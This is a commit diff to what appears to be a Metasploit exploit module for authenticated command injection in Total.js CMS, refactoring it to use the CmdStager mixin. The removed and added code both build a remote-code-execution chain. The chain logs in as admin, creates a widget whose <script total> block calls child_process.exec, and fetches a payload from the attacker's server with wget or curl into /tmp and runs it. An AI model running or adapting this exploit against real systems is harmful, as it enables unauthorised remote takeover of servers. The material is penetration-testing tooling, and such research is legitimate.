Use CmdStager mixin

This commit is contained in:
Wei Chen 2019-10-15 14:00:58 -05:00
parent bb7c42b2ce
commit 0ebc971d29
1 changed files with 25 additions and 54 deletions

View File

@ -6,9 +6,9 @@
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::CmdStager
def initialize(info={})
super(update_info(info,
@ -27,8 +27,8 @@ class MetasploitModule < Msf::Exploit::Remote
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' =>
[
[ 'Total.js CMS on Linux', { 'Platform' => 'linux' } ],
[ 'Total.js CMS on Mac', { 'Platform' => 'osx' } ]
[ 'Total.js CMS on Linux', { 'Platform' => 'linux', 'CmdStagerFlavor' => 'wget'} ],
[ 'Total.js CMS on Mac', { 'Platform' => 'osx', 'CmdStagerFlavor' => 'curl' } ]
],
'References' =>
[
@ -38,7 +38,7 @@ class MetasploitModule < Msf::Exploit::Remote
],
'DefaultOptions' =>
{
'RPORT' => 8000
'RPORT' => 8000,
},
'Notes' =>
{
@ -71,37 +71,21 @@ class MetasploitModule < Msf::Exploit::Remote
end
class Widget
public
attr_reader :name
attr_reader :category
attr_reader :source_code
attr_reader :platform
attr_reader :url
def initialize(p, u)
def initialize(p, u, stager)
@name = "p_#{Rex::Text.rand_text_alpha(10)}"
@category = 'content'
@platform = p
@url = u
@source_code = get_source_code
end
private
def get_source_code
cmd = ''
payload_path = "/tmp/p_#{Rex::Text.rand_text_alpha(5)}"
case platform.downcase
when 'linux'
cmd = "wget #{url} -O #{payload_path} "
when 'osx'
cmd = "curl #{url} > #{payload_path} "
end
cmd << "&& chmod +x #{payload_path} && #{payload_path} && rm #{payload_path}"
%Q|<script total>global.process.mainModule.require('child_process').exec("#{cmd}");</script>|
@source_code = %Q|<script total>|
@source_code << %Q|global.process.mainModule.require('child_process')|
@source_code << %Q|.exec("sleep 2;#{stager}");|
@source_code << %Q|</script>|
end
end
@ -174,8 +158,13 @@ class MetasploitModule < Msf::Exploit::Remote
host = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket::source_address : datastore['SRVHOST']
port = datastore['SRVPORT']
proto = datastore['SSL'] ? 'https' : 'http'
url = "#{proto}://#{host}:#{port}#{get_resource}/p_#{Rex::Text.rand_text_alpha(5)}"
widget = Widget.new(platform, url)
payload_name = "p_#{Rex::Text.rand_text_alpha(5)}"
url = "#{proto}://#{host}:#{port}#{get_resource}/#{payload_name}"
widget = Widget.new(platform, url, generate_cmdstager(
'Path' => "#{get_resource}/#{payload_name}",
'temp' => '/tmp',
'file' => payload_name
).join(';'))
json_body = {
'name' => widget.name,
@ -306,33 +295,15 @@ class MetasploitModule < Msf::Exploit::Remote
end
def exploit
# We are executing the HTTP client as a thread so that we can start the web server
# host, and then fire the exploit. However, by doing this we may be swallowing
# exceptions, so we need to catch all of them, print what the error is, and then
# raise again to make sure the core is notified.
t = framework.threads.spawn('totaljs_command_injection', false) do
# A little delay is needed to make sure the web server goes first.
sleep(0.5)
begin
user = datastore['TOTALJSUSERNAME']
pass = datastore['TOTALJSPASSWORD']
print_status("Attempting to authenticate with #{user}:#{pass}")
admin_token = auth(user, pass)
fail_with(Failure::Unknown, 'No admin token found') if admin_token.blank?
print_good("Authenticatd as: #{user}:#{pass}")
print_status("Creating a widget...")
@widget = create_widget(admin_token)
rescue ::Exception => e
print_error(e.message)
raise e
end
end
begin
super
ensure
t.kill
end
user = datastore['TOTALJSUSERNAME']
pass = datastore['TOTALJSPASSWORD']
print_status("Attempting to authenticate with #{user}:#{pass}")
admin_token = auth(user, pass)
fail_with(Failure::Unknown, 'No admin token found') if admin_token.blank?
print_good("Authenticatd as: #{user}:#{pass}")
print_status("Creating a widget...")
@widget = create_widget(admin_token)
super
end
end